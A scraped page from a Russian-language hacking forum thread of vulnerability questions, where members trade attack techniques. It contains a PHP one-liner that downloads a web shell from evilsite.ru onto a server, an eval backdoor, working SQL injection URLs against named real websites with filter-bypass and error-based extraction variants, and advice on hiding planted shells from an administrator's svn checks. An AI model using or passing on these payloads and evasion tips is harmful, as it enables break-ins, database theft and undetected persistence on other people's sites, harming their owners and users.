Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    PHP:
    file_put_contents($_GET[a], file_get_contents($_GET[b]));&a=wso.php&b=http://evilsite.ru/shell.txt
     
  2. Sloneny

    Sloneny New Member

    Joined:
    8 Mar 2010
    Messages:
    20
    Likes Received:
    1
    Reputations:
    0
    PHP:
     file_put_contents($_GET[a], file_get_contents($_GET[b]));&a=wso.php&b=http://evilsite.ru/shell.txt  
    как ни старался не сработало

    Совсем забыл написать, в эксплойте используется такая конструкция
    PHP:
    <?php @eval(stripslashes($_REQUEST[c])); @die($_REQUEST[m]); ?>
    при попытке заменить ее на что либо другое, или матерится или выдает пустую страницу


    Никак не могу найти примера работы с stripslashes()
    везде написано что он удаляет экранирование символов
    но как его применить?
    К сожалению с php не очень дружу
     
    #17882 Sloneny, 18 Sep 2011
    Last edited: 18 Sep 2011
  3. shell_c0de

    shell_c0de Hack All World

    Joined:
    7 Jul 2009
    Messages:
    1,179
    Likes Received:
    617
    Reputations:
    690
    2Sloneny скинул решение в ПМ, посмотри если выйдет то опишу тут полноценно.
     
    _________________________
  4. sourcec0de

    sourcec0de Banned

    Joined:
    13 Jun 2011
    Messages:
    27
    Likes Received:
    12
    Reputations:
    7
    После коментария пробел поставь
     
  5. Samael91

    Samael91 New Member

    Joined:
    2 Dec 2010
    Messages:
    38
    Likes Received:
    0
    Reputations:
    0
    есть скуля
    Code:
    http://www.feb.spb.ru/news.php?id=100+union+select+1,column_name,3,4,5,6,7+from+information_schema.columns+limit+1,1111--
    хочу сдампить колонки БД с помощью программы rsaUnDumper[sql] 2.0.exe
    делаю все как положено
    но ничего не дампиться даже ошибки не выводятся
    просто выводится
    Пробовал запрос без --, пробовал удалять все что ниже --
    безрезультатно :(
    А в ручную все идет нормально.
    Подскажите что я не так делаю?
    Ссылка на дампер http://www.sendspace.com/file/ee74kx
     
    #17885 Samael91, 18 Sep 2011
    Last edited: 18 Sep 2011
  6. Faaax

    Faaax Banned

    Joined:
    30 Aug 2010
    Messages:
    329
    Likes Received:
    46
    Reputations:
    11
    забей сылку в sqlmap,Havij или руками делай запрос!(честно не вижу смысла в этих дамперах)
     
  7. rad_scorp

    rad_scorp New Member

    Joined:
    9 Sep 2011
    Messages:
    12
    Likes Received:
    2
    Reputations:
    1
    Спасибо, чувак, ты прав, учту. Но базы там покорраптило в хлам. Будем ждать, пока починят.
     
  8. Киев

    Киев Banned

    Joined:
    9 Aug 2011
    Messages:
    19
    Likes Received:
    8
    Reputations:
    4
    вот начал учить скуль иньекции
    подскажите плиз как узнавать имена таблиц?

    спасибо.
     
  9. Юго

    Юго Member

    Joined:
    2 Feb 2011
    Messages:
    0
    Likes Received:
    77
    Reputations:
    17
    ыы самый тяжелый способ это подбирать ручками, например users, admins, members и т.д. Еще есть проги для подбора таблиц по словарям. можно поискать на форуме

    а вообще тут смотря к чему таблицы. Если к извесным форумам то таблицы извесны (если их не поменяли). Например таблица юзеров phpbb форума называется phpbb_users. Если это 5 версия Мускула или MSSQL то таблицы можно увидеть через information_schema.tables.
     
  10. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196
    На серве стоит svn и админ почти ежедневно им пользуется. Мои шеллы и изменения на раз палятся командой

    svn status

    Как скрыться?

    пробовал svn add /path/to/shell.php (Вроде добавляет файл в снимок файловой системы)
    Все равно status показывает мои изменения.
     
    #17890 попугай, 19 Sep 2011
    Last edited: 19 Sep 2011
  11. Melfis

    Melfis Elder - Старейшина

    Joined:
    25 Apr 2011
    Messages:
    505
    Likes Received:
    105
    Reputations:
    53
    Не уверен на 100%, но
    Сделать отдельную бранчу, в этой бранче сделать коммит шелла. В логах транка не должны светиться сие действия. Для верности в бранче сделать изменения во всех файлах (добавить по одной строке) и коммитить не шелл, а добавить строку выполнения команды.
     
    1 person likes this.
  12. pinch

    pinch Elder - Старейшина

    Joined:
    13 Dec 2009
    Messages:
    417
    Likes Received:
    46
    Reputations:
    40
    собственно вопрос как узнать префикс таблиц в joomla? попалась инъекция mysql4 дефолтный jos не катит...
     
  13. jawbreaker

    jawbreaker Elder - Старейшина

    Joined:
    7 Jul 2008
    Messages:
    156
    Likes Received:
    76
    Reputations:
    3
    Что можно сделать если есть вот такая sql injection:
    Code:
    http://mirplombir.ru/index.php?searchstring=1\\%27%29%29or%28SELECT%28COUNT%28*%29%29FR%20%20OM%28%28SELECT%281%29%29UNION%28SELECT%282%29%29UNION%28SELECT%283%29%29%29x/**/GROUP/**/BY/**/MID%28VERSION%28%29,FLOOR%28RAND%280%29*2%29,64%29%29%23%20UNION%20SELECT%201%20--%20%20%27
    
    При этом во время моих экспериментов часто перебрасывает на сайт хостера, где написано
     
  14. er9j6@

    er9j6@ Elder - Старейшина

    Joined:
    17 Sep 2011
    Messages:
    393
    Likes Received:
    40
    Reputations:
    23
    Попробовать здесь.

    Duplicate column name '5.1.50-lk-log'
     
  15. sourcec0de

    sourcec0de Banned

    Joined:
    13 Jun 2011
    Messages:
    27
    Likes Received:
    12
    Reputations:
    7
    name_const здесь не надо использовать в связи с ее особенностями на разных версиях маскула. Кроме констант ты ничего не выведешь, да и вопрос состоял в другом, а именно
    Это фильтрация на последовательность union select from
    Один из вариантов обхода
    Code:
    http://mirplombir.ru/index.php?news=2'and(0)union%0Aselect+version(),2,3+from+information_schema.tables--+
     
  16. mix0x0

    mix0x0 Active Member

    Joined:
    1 Nov 2010
    Messages:
    363
    Likes Received:
    189
    Reputations:
    92
    Удачно подобрал нужную таблицу в PostgreSQL, но вывести колонки не получается.

    Запрос: http://www.site.com/index.php?id=246+union+select+column_name+from+information_schema.columns+where+table_name=chr(106)||chr(111)||chr(115)||chr(95)||chr(117)||chr(115)||chr(101)||chr((114)||chr(115) --
    Вывод: FUNCTION modx1.chr does not exist
    Судя по ошибке двиг "modx" и в нём нету по-умолчанию "char";
    Запрос: http://www.site.com/index.php?id=246+union+select+column_name+from+INFORMATION_SCHEMA.columns+where+TABLE_name=jos_users--
    Вывод: Unknown column 'jos_users' in 'where clause'

    В чём моя ошибка? Как вывести колонки из таблицы jos_users ?
     
  17. Faaax

    Faaax Banned

    Joined:
    30 Aug 2010
    Messages:
    329
    Likes Received:
    46
    Reputations:
    11
    попробуй jos_users занести в кавычки или в hex переведи
     
  18. fl00der

    fl00der Moderator

    Joined:
    17 Dec 2008
    Messages:
    1,027
    Likes Received:
    311
    Reputations:
    86
    Привет, есть вопрос по заливке шелла через error based sqli.
    Допустим есть запрос вида:
    Code:
    index.php?id=1+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat((SELECT+USER()),floor(rand(0)*2)))+--+
    Code:
    Duplicate entry 'root@localhost1' for key 1
    Так вывожу имена таблиц:
    Code:
    [code]?id=1+or+(select+count(*)+from+(select+1+ union+select+2+union+select+3)x+group+by+concat((SELECT+TABLE_NAME+FROM+information_schema.tables+LIMIT+0,1),floor(rand(0)*2)))+--+
    [/code]Путь известен.
    Как действовать дальше?
    Да чуть не забыл, соль в том, что mq=on.
     
    _________________________
    #17898 fl00der, 20 Sep 2011
    Last edited: 20 Sep 2011
  19. er9j6@

    er9j6@ Elder - Старейшина

    Joined:
    17 Sep 2011
    Messages:
    393
    Likes Received:
    40
    Reputations:
    23
    Я на 100% не уверен, если mq=on, залить шелл не удастся
     
  20. ZARO

    ZARO Elder - Старейшина

    Joined:
    17 Apr 2009
    Messages:
    327
    Likes Received:
    129
    Reputations:
    54
    Все правильно, с mq не зальешь шелл через скулю, но ты можешь читать файлы через load_file(HEX)
     
Thread Status:
Not open for further replies.